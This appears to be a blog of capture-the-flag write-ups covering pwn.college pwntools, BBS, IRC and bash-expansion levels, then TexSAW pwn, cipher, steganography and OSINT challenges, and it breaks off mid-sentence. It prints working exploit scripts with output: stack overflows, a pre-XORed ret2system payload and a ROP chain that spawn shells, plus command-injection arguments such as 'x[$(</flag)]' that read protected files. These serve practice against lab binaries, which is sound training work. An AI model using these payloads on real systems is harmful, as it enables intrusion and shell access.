# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level0.0" p = process(challenge_path)
payload = b"pokemon\n" # Send the payload after the string ":)\n###\n" is found. p.sendafter(":)\n###\n", payload)
# Receive flag from the process flag = p.recvline() print(f"flag is: {flag}")
1 2 3 4 5 6
hacker@pwntools~level-0-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level0.0': pid 218 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Process '/challenge/pwntools-tutorials-level0.0' stopped with exit code 0 (pid 218) flag is: b'pwn.college{**********************************************}\n'
if (!strncmp(buf, (char *)&magic, 4)) { return1; }
return0; }
intmain() { char buffer[100];
print_desc();
fgets(buffer, sizeof(buffer), stdin);
if (bypass_me(buffer)) { print_flag(); } else { printf("You need to bypass some conditions to get the flag: \n"); printf("Please refer to the source code to understand these conditions\n"); }
print_exit(); return0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from pwn import *
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level1.0" p = process(challenge_path)
payload = p32(0xdeadbeef) # Send the payload after the string ":)\n###\n" is found. p.sendlineafter(":)\n###\n", payload)
# Receive flag from the process flag = p.recvline() print(f"flag is: {flag}")
1 2 3 4 5 6
hacker@pwntools~level-1-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level1.0': pid 200 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Process '/challenge/pwntools-tutorials-level1.0' stopped with exit code 0 (pid 200) flag is: b'pwn.college{**********************************************}\n'
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.0"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. p.sendafter("Please give me your assembly in bytes", asm("mov rax, 0x12345678"))
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11 12 13
^Chacker@pwntools~level-2-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level2.0': pid 194 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: mov rax, 0x12345678 [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.0' stopped with exit code 0 (pid 194)
# users can write multiple instructions to archive this goal # whitelist = ["xchg"]
@property defdescription(self): returnf""" In this level you need to craft assembly code to satisfy the following conditions: * exchange the value of rax and rbx """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.1"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. p.sendafter("Please give me your assembly in bytes", asm("xchg rax, rbx"))
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11 12 13
main()hacker@pwntools~level-2-1:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level2.1': pid 198 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: xchg rbx, rax [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.1' stopped with exit code 0 (pid 198)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * rax = rax % rbx + rcx - rsi We already set the following in preparation for your code: rdx = 0 """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.2"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. p.sendafter( "Please give me your assembly in bytes", asm(""" xor rdx, rdx div rbx mov rax, rdx add rax, rcx sub rax, rsi """), )
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11 12 13
[*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: xor rdx, rdx [+] 0x400003: div rbx [+] 0x400006: mov rax, rdx [+] 0x400009: add rax, rcx [+] 0x40000c: sub rax, rsi [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.2' stopped with exit code 0 (pid 231)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000 """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.3"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. # In this level you need to craft assembly code to complete the following operations: # * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000
p.sendafter( "Please give me your assembly in bytes", asm(""" mov rax, qword ptr [0x404000] mov qword ptr [0x405000], rax """), )
print_lines(p)
1 2 3 4 5 6 7 8 9 10
[*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: mov rax, qword ptr [0x404000] [+] 0x400008: mov qword ptr [0x405000], rax [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.3' stopped with exit code 0 (pid 205)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * the top value of the stack = the top value of the stack - rbx Tips: perfer push and pop instructions, other than directly [esp] dereference """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.4" p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. # In this level you need to craft assembly code to complete the following operations: # * the top value of the stack = the top value of the stack - rbx # Tips: perfer push and pop instructions, other than directly [esp] dereference
p.sendafter( "Please give me your assembly in bytes", asm(""" pop rax sub rax, rbx push rax """), )
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11
[*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: pop rax [+] 0x400001: sub rax, rbx [+] 0x400004: push rax [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.4' stopped with exit code 0 (pid 205)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * the top value of the stack = abs(the top value of the stack) """
@property defdescription(self): returnf""" In this level you need to craft for statement to complete the following operations: * rax = the sum from 1 to rcx """
hacker@pwntools~level-4-0:~$ checksec /challenge/pwntools-tutorials-level4.0 [*] '/challenge/pwntools-tutorials-level4.0' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
buffer overflow + ret to read_flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from pwn import *
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level4.0" p = process(challenge_path)
payload = b"A" * 48 + b"B" * 8 + p64(0x00401f0f) # Send the payload after the string ":)\n###\n" is found. p.sendlineafter("Give me your input\n", payload)
# Receive flag from the process flag = p.recvall(timeout=1) print(f"flag is: {flag}")
1 2 3 4 5 6 7
hacker@pwntools~level-4-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level4.0': pid 202 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [+] Receiving all data: Done (188B) [*] Process '/challenge/pwntools-tutorials-level4.0' stopped with exit code -11 (SIGSEGV) (pid 202) flag is: b'\n### 2026\xe5\xb9\xb44\xe6\x9c\x881\xe6\x97\xa518:42:16 \xe6\x88\x98\xe6\x96\x97\xe8\xae\xb0\xe5\xbd\x95:\x1b[1m\x1b[31m \xe5\xa4\xa7\xe9\x92\xb3\xe8\x9f\xb9 \x1b[0m\xe8\x8e\xb7\xe8\x83\x9c\n### \xe5\x8a\xaa\xe5\x8a\x9b\xe6\x8f\x90\xe5\x8d\x87\xe8\x87\xaa\xe5\xb7\xb1\xe7\x9a\x84\xe7\xad\x89\xe7\xba\xa7\xe5\x90\x8e\xef\xbc\x8c\xe5\x86\x8d\xe6\x9d\xa5\xe6\x8c\x91\xe6\x88\x98\xe5\x90\xa7\xef\xbc\x81\npwn.college{**********************************************}\n\n'
# telnet 20forbeers.com:1337 # ssh 20forbeers.com:1338 # web http://20forbeers.com:1339/
# Install syncterm to connect to BBS $ paru -S syncterm
hacker@bbs~external-bbs-login:~$ /challenge/checker.py Hello! You should've found the DOOM server password on an external BBS. Please enter it now. Enter password: ******** Correct! pwn.college{***}
Internal BBS
Since BBS’s often only allowed one line to be connected at a time,
often admins had to limit users’ daily use time. In this challenge, you
will be interacting with a locally run BBS that has a very short visit
time (15s). In real life, people made programs to download all data on
the BBS, so only new data had to be read in real time.
Some users have left a flag lying around in the message boards, get
it before we disconnect you.
The BBS server is running on localhost:1337 when you
start the challenge. You can find the server code at
/challenge/bbs_server.py.
Scripting Help
If you are new to scripting with Python, here is a script to get you
started:
You should mostly be able to solve it with the APIs shown in the
script. If you need more help see pwntools.
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import *
# Connect to the BBS server bbs = remote("localhost", 1337)
# Receive until the menu choice prompt data = bbs.recvuntil("Enter your choice: ") print("data", data)
# Select option 1 (List message titles) bbs.sendline("1") data = bbs.recvuntil("=== Main Menu ===") print(data)
BBS Server Code
We need to fetch all titles and then request each one quickly before
the 15-second timeout.
# Extract titles using regex. Format: "000: Title Name" titles = re.findall(r'^\d{3}:\s*(.*)$', clean_data, re.MULTILINE)
# Batch the requests: Send "2" (Read message) followed by the title for each message payload = [] for t in titles: payload.append("2") payload.append(t)
# Send all requests at once to maximize speed bbs.sendline("\n".join(payload).encode('utf-8'))
# Collect all response data until timeout or connection close try: dump = bbs.recvall(timeout=15).decode('utf-8', errors='ignore') except EOFError: pass
# Search for the flag in the dumped content match = re.search(r'pwn\.college\{.*?\}', dump) ifmatch: print(f"Flag: {match.group(0)}") else: print("fail")
if __name__ == "__main__": solve()
1 2
# Run the solution script with specific terminal environment if needed TERM=xterm python a.py
nick kita user d 0 * :kita! :localhost 001 kita :Hi, welcome to IRC :localhost 002 kita :Your host is localhost, running version miniircd-2.3 :localhost 003 kita :This server was created sometime :localhost 004 kita localhost miniircd-2.3 o o :localhost 251 kita :There are 1 users and 0 services on 1 server :localhost 375 kita :- localhost Message of the day - :localhost 372 kita :- pwn.college{***} :localhost 376 kita :End of /MOTD command
Join an IRC Server(with an
IRC client)
1 2 3 4 5 6 7 8 9 10 11
hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic --help usage: sic [-h host] [-p port] [-n nick] [-k keyword] [-v] hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic -h localhost -p 6667 localhost : 2026-04-01 07:40 >< 001 (unknown): Hi, welcome to IRC localhost : 2026-04-01 07:40 >< 002 (unknown): Your host is localhost, running version miniircd-2.3 localhost : 2026-04-01 07:40 >< 003 (unknown): This server was created sometime localhost : 2026-04-01 07:40 >< 004 (unknown localhost miniircd-2.3 o o): localhost : 2026-04-01 07:40 >< 251 (unknown): There are 1 users and 0 services on 1 server localhost : 2026-04-01 07:40 >< 375 (unknown): - localhost Message of the day - localhost : 2026-04-01 07:40 >< 372 (unknown): - pwn.college{***} localhost : 2026-04-01 07:40 >< 376 (unknown): End of /MOTD command
Change your nickname
1 2 3 4 5 6 7 8 9 10 11 12
hacker@irc~change-your-nickname:~$ nc localhost 6667 NICK archuser USER archuser 0 * :I use Arch btw :localhost 001 archuser :Hi, welcome to IRC :localhost 002 archuser :Your host is localhost, running version miniircd-2.3 :localhost 003 archuser :This server was created sometime :localhost 004 archuser localhost miniircd-2.3 o o :localhost 251 archuser :There are 1 users and 0 services on 1 server :localhost 422 archuser :MOTD File is missing NICK pwn :archuser!archuser@127.0.0.1 NICK pwn :localhost pwn.college{***}
Join a channel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
hacker@irc~join-a-channel:~$ nc localhost 6667 nick a user a 0 * :a :localhost 001 a :Hi, welcome to IRC :localhost 002 a :Your host is localhost, running version miniircd-2.3 :localhost 003 a :This server was created sometime :localhost 004 a localhost miniircd-2.3 o o :localhost 251 a :There are 1 users and 0 services on 1 server :localhost 422 a :MOTD File is missing list :localhost 323 a :End of LIST join#flag :a!a@127.0.0.1 JOIN #flag :localhost pwn.college{***}
:localhost 331 a #flag :No topic is set :localhost 353 a = #flag :a :localhost 366 a #flag :End of NAMES list
Message a channel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
hacker@irc~message-a-channel:~$ nc localhost 6667 nick a user a 0 * :a :localhost 001 a :Hi, welcome to IRC :localhost 002 a :Your host is localhost, running version miniircd-2.3 :localhost 003 a :This server was created sometime :localhost 004 a localhost miniircd-2.3 o o :localhost 251 a :There are 1 users and 0 services on 1 server :localhost 422 a :MOTD File is missing join#flag :a!a@127.0.0.1 JOIN #flag :localhost 331 a #flag :No topic is set :localhost 353 a = #flag :a :localhost 366 a #flag :End of NAMES list privmsg #flag :a :localhost pwn.college{***}
Remove another user
1 2 3 4 5 6 7 8 9 10 11 12 13 14
hacker@irc~remove-another-user:~$ nc localhost 6667 NICK archlinux USER archlinux 0 * :I use Arch btw :localhost 001 archlinux :Hi, welcome to IRC :localhost 002 archlinux :Your host is localhost, running version miniircd-2.3 :localhost 003 archlinux :This server was created sometime :localhost 004 archlinux localhost miniircd-2.3 o o :localhost 251 archlinux :There are 1 users and 0 services on 1 server :localhost 422 archlinux :MOTD File is missing PRIVMSG pwn :Press alt+f4 to join my channel :localhost 401 archlinux pwn :No such nick/channel NICK pwn :archlinux!archlinux@127.0.0.1 NICK pwn :localhost pwn.college{***}
The shell is as mysterious as it is powerful. As a first stop in our
journey, we will explore concepts of variable expansion, the pitfalls
around quoting (and lack thereof!), and the raw power of globbing. Stay
strong, and follow the PATH.
echo"Goodbye!" ubuntu@expansion~path-of-the-unquoted:~$ ta no sessions [exited] ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a' pwn.college{****************************************} Goodbye!
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 1 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
declare -- "$1"="$2" $PROGRAM ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
[ "$1" = "PROGRAM" ] && exit 4 declare -- "$1"="$2" $PROGRAM ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]""/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~dance-of-the-delimiters:~$ echo'#!/bin/bash' > /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ echo'cat /flag' >> /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") Today is the last day of your life so far.
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") /challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") To be or not to be. -- Shakespeare To do is to be. -- Nietzsche To be is to do. -- Sartre Do be do be do. -- Sinatra
if [[ "$#" -ne 1 ]] then echo"Usage: $0 SKILL_LEVEL" exit 1 fi
if [[ "$1" -eq 1337 ]] then echo"Not skilled enough!" exit 2 fi
echo"You are quite skilled!"
1 2 3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]' /challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") You are quite skilled!
Your Shattered Sanity
word splitting
Arithmetic Evaluation Error
当 -v 操作符去检查一个带有数组下标的变量时(例如 -v
var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值
(Arithmetic Evaluation)
charset = string.printable.strip().replace("*", "").replace("?", "") flag = "pwn.college{"
for attempt in itertools.count(start=1): print(f"Attempt {attempt}: {flag}") for c in charset: # 用 /dev/shm 来传递数据提高 I/O 速度 # or /tmp with open("/dev/shm/tmp", "w") as f: f.write(flag + c + "*") p = process(["/challenge/run", "/dev/shm/tmp"]) if b"Got it!"in p.recvall(timeout=1): flag += c if"}" == c: print(f"\n[+] Flag: {flag}") exit(0) break
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success! Here's part of the flag:" cat /flag | head -c10 else echo"Wrong!" cat /flag | md5sum fi
# props to HyperCube for the idea for this challenge
# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...
PATH=/usr/bin RESPONSE="$1"
exec 2>/dev/null # props to amateurhour for this unintended solve
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == RANDOM )) then echo"Success!" cat /flag else echo"Wrong!" rm /flag fi
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success!" cat /flag else echo"Wrong!" #cat /flag | md5sum fi
Key Generation: In main, the
program takes the current Unix timestamp and rounds it down to the
nearest minute: time_val = (time(0) / 60) * 60. This value
is then passed into read_user_input.
The XOR Loop: Inside
read_user_input, the program reads up to 160 bytes into a
heap buffer. It then iterates through the input, XORing every 4-byte
chunk with the time_val. Crucially, the
time_val increments by 1 after every 4 bytes.
Buffer Overflow: After XORing, the program uses
memcpy to copy the processed buffer into a local stack
buffer (ebp-0x40). Since the stack buffer is only 64 bytes
but memcpy copies up to 160 bytes, we have a
stack-based buffer overflow.
3. Exploitation Strategy
Step 1: Leaking the Key The program XORs our input
and then calls write to send 40 bytes of the stack buffer
back to us. To bypass the XOR obfuscation, we first send a string of
null bytes (\x00). Because x ^ 0 = x, the
server returns the XOR key itself. This allows us to recover the exact
time_val used by the server.
Step 2: Crafting the Payload We need to overwrite
the return address at ebp + 4. The distance from the buffer
start (ebp - 0x40) to the return address is 68
bytes.
Our desired stack layout after memcpy should be:
[68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]
Step 3: Pre-XORing Because the program will XOR our
input before it hits the stack, we must “pre-XOR” our payload. If the
program expects Payload ^ Key = Stack, we must send
Payload ^ Key so that when the server XORs it with
Key, the result on the stack is our desired
Payload.
# Function to XOR payload according to binary logic defxor_payload(data, key_val): res = bytearray() for i inrange(0, len(data), 4): chunk = data[i:i+4] # Calculate the key for this 4-byte chunk key = p32((key_val + (i // 4)) & 0xFFFFFFFF) for j inrange(len(chunk)): res.append(chunk[j] ^ key[j]) returnbytes(res)
# 3. Build and send the Pre-XORed payload # 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh" # 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。 payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr) target.send(xor_payload(payload, leaked_time_val))
Since gets() does not check the input length, we can
provide a payload larger than 32 bytes to overwrite the saved
instruction pointer on the stack.
3. Exploitation Strategy
The drive() function is our target:
1 2 3 4 5
int __fastcall drive(__int64 a1) { if (a1 != 0x48435344) // "HCSD" returnputs("Need the secret key to deliver this package.\n"); return system("/bin/sh"); }
To get a shell, we need to call drive(0x48435344). In
the x86-64 calling convention, the first argument is passed in the
RDI register.
Our ROP Chain Plan:
Overwrite the return address with the address of a
pop rdi; ret gadget.
Provide the value 0x48435344 as the next item on the
stack (to be popped into RDI).
Include a ret gadget for stack alignment (often
necessary for system() calls in 64-bit glibc).
There’s a spy amongst us! We found one of their messages, but can’t
seem to crack it. For some reason, they wrote the message down
twice.
The challenge provides two large blocks of ciphertext, both starting
with what appears to be an encrypted flag.
Solution
1. Identifying the Cipher
We are given two different ciphertexts that supposedly represent the
same message. This immediately suggests a polyalphabetic substitution
cipher, most likely Vigenere, where different parts of
the key are being applied to the same plaintext.
2. Deducing the Key Prefix
We know that the flags in this CTF follow the format
texsaw{...}. By comparing the ciphertext prefixes with the
known plaintext texsaw, we can calculate the key characters
used at the start of each block (Key = Ciphertext − Plaintext).
Block 1 Prefix (twhsnz):
t - t = A (0)
w - e = S (18)
h - x = K (10)
s - s = A (0)
n - a = N (13)
z - w = D (3)
Key Prefix:ASKAND
Block 2 Prefix (brassg):
b - t = I (8)
r - e = N (13)
a - x = D (3)
s - s = A (0)
s - a = S (18)
g - w = K (10)
Key Prefix:INDASK
3. Recovering the Full Key
The fragments ASKAND and INDASK strongly
suggest a famous quote from the Bible (Matthew 7:7):
“Ask, and it shall be given you; seek, and ye
shall find: ask, and…”
By removing spaces and punctuation, we derive the full 41-character
repeating key:
ASKANDITSHALLBEGIVENYOUSEEKANDYESHALLFIND
4. Decrypting the Message
Using the recovered key, we can decrypt the rest of the message. The
first message block uses an offset of 0, while the second block starts
at a different position in the key loop.
Decryption reveals a message from a spy:
“they know im here, and its only a matter of time before they
find out who i am. tell the general what the flag is as soon as
possible…”
The signature at the bottom, - john cairncross, refers
to the real-life British intelligence officer who was a double agent for
the Soviet Union during World War II.
I can’t find my original house key anywhere! Can you help me find it?
Here’s a picture of my keys the nanny took before they were lost. It
must be hidden somewhere!
Flag format:texsaw{flag_here}
Solution
1. Extracting Hidden Files
Using binwalk, we can identify and extract any embedded
files:
1
❯ binwalk -e Temoc_keyring.png
After extraction, we have two similar images:
Temoc_keyring(orig).png
where_are_my_keys.png
Checking them with pngcheck confirms they are both
valid, but their file sizes and compression ratios differ.
2. Pixel Comparison
At first glance, the two images appear identical. However, the
difference in file size suggests that data might be hidden in the pixel
values themselves. We can use a Python script with the
Pillow library to compare them:
# Check the first row for differences diff_indices = [x for x inrange(width) if img1.getpixel((x, 0)) != img2.getpixel((x, 0))] print(f"Differences found at X coordinates: {diff_indices}")
Running this reveals exactly 131 differing pixels, all located within
the very first row (y = 0).
4. Decoding the Steganography
The pattern of differing pixels suggests a binary encoding. We can
treat each pixel in the first row as a bit:
Bit 1: If the pixels at (x, 0) are
different.
Bit 0: If the pixels at (x, 0) are
identical.
We then group these bits into 8-bit bytes and convert them to ASCII
characters to reveal the flag.
bits = [] for x inrange(img1.size[0]): if img1.getpixel((x, 0)) != img2.getpixel((x, 0)): bits.append(1) else: bits.append(0)
# Convert bits to bytes and then to ASCII flag = "" for i inrange(0, len(bits), 8): byte = bits[i:i+8] char_code = int("".join(map(str, byte)), 2) if char_code == 0: break flag += chr(char_code)
First, crack this initial cryptogram. Now, apply OSINT tools to find
who authors that original script.
Flag format:txsaw{first_last} (e.g.,
txsaw{john_scalzi})
Solution
1. Cryptanalysis:
Substitution Cipher
The challenge begins with a large block of ciphertext:
1
Azza wfahv ztu. N rnvy, bndfah na zbfaztv vztak, n vztak ndfa uz n dcnqza zw n uzlvfa, icfuv nmztu...
Using frequency analysis or an automated tool like quipqiup, we can determine that this is
a simple substitution cipher. The decoded plaintext
is:
Noon rings out. A wasp, making an ominous sound, a sound akin to a
klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits
up blinking and purblind. Oh what was that word (is his thought) that
ran through my brain all night, that idiotic word that, hard as I’d try
to pun it down, was always just an inch or two out of my grasp…
2. OSINT: Identifying the
Source
The title of the challenge, “Idiosyncratic French”,
and the nature of the decoded text provide vital clues.
Searching for the decoded string—specifically unique phrases like
“A wasp, making an ominous sound, a sound akin to a klaxon or a
tocsin”—reveals that this is an excerpt from the novel “A
Void”.
3. The “Idiosyncrasy”:
Lipograms
What makes this text “idiosyncratic”? “A Void” is
the English translation of the French novel “La
Disparition”. The defining characteristic (idiosyncrasy) of
both the original and the translation is that they are
lipograms: they are written entirely without the letter
“e”.
4. Finding the Author
The author of the original French novel, La Disparition, is
the famous French writer Georges Perec.
D’oh, I overslept and missed most of the race! But wait, my friend
took a picture while I was out, but I can’t tell who’s in the lead. Can
you help me figure out the two cars that are in the lead? Usually they
like to twin around this time of night…
Flag format:texsaw{num1_num2} (e.g.,
texsaw{21_44})
Analysis
1. Image Metadata (EXIF)
Analyzing the provided image (or the metadata extracted from it)
reveals several critical data points:
Attribute
Value
Analysis
Camera Model
Samsung Galaxy S24 Ultra
High-end mobile sensor, likely captured
with 3x optical zoom.
Date/Time
2026:01:24 22:14:12
Captured during the night of January 24th,
2026.
GPS Latitude
29° 11’ 4.79” N
Geolocation leads to Florida, USA.
GPS Longitude
81° 4’ 28.43” W
Specifically, the Daytona
International Speedway.
Exposure
1/30s, f/2.4, ISO 320
Nighttime setting with motion blur,
typical of racetrack photography.
2. Event Identification
Plugging the coordinates and the date into a search engine confirms
the event: The 2026 Rolex 24 at Daytona.
This is a premier 24-hour endurance race held annually in late
January at the Daytona International Speedway. The timestamp (10:14 PM
EST on Saturday) puts the photograph roughly 8-9 hours into the 24-hour
race.
3. The “Twinning” Clue
The challenge description mentions: “Usually they like to twin
around this time of night…”
In the context of the IMSA WeatherTech SportsCar Championship (which
